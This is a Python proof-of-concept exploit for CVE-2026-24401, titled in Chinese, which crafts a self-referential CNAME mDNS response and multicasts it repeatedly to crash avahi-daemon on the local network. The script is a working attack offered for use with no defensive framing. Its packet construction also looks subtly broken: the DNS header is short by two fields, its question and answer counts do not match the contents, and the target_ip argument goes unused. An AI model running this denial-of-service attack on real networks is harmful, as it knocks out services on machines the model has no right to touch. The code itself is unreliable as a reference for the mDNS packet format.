CVE-2026-24401 Avahi avahi-daemon递归CNAME记录栈溢出拒绝服务漏洞

import socket import struct import time # mDNS constants MDNS_MULTICAST_IP = "224.0.0.251" MDNS_PORT = 5353 def create_mdns_header(transaction_id): """Create mDNS header""" return struct.pack('>HHHH', transaction_id, 0x8400, 1, 0) def create_cname_record(name): """Create a CNAME record that points to itself (recursive CNAME)""" name_bytes = b'' for part in name.split('.'): name_bytes += struct.pack('B', len(part)) + part.encode() name_bytes += b'\x00' # Null terminator # CNAME record: name + type(CNAME=5) + class(IN=1) + ttl + rdlength + rdata return name_bytes + struct.pack('>HHIH', 5, 0x0001, 300, len(name_bytes)) + name_bytes def send_malicious_mdns_response(target_ip, recursive_cname): """ Send malicious mDNS response with recursive CNAME record to trigger CVE-2026-24401 """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.settimeout(5) transaction_id = 0x1234 header = create_mdns_header(transaction_id) # Questions section (empty for response) questions = b'' # Answers section with recursive CNAME answers = create_cname_record(recursive_cname) # Additional records section (optional) additional = b'' dns_packet = header + questions + answers + additional # Send to mDNS multicast address sock.sendto(dns_packet, (MDNS_MULTICAST_IP, MDNS_PORT)) print(f"[+] Sent malicious mDNS response with recursive CNAME: {recursive_cname}") print(f"[+] Packet size: {len(dns_packet)} bytes") sock.close() if __name__ == "__main__": print("CVE-2026-24401 PoC - Avahi recursive CNAME DoS") print("=" * 50) # Target: any local hostname that will be queried target_hostname = "h.local" # Send multiple packets to increase likelihood of triggering the bug for i in range(5): send_malicious_mdns_response(MDNS_MULTICAST_IP, target_hostname) time.sleep(0.1) print("[+] Attack completed. Target avahi-daemon should crash.")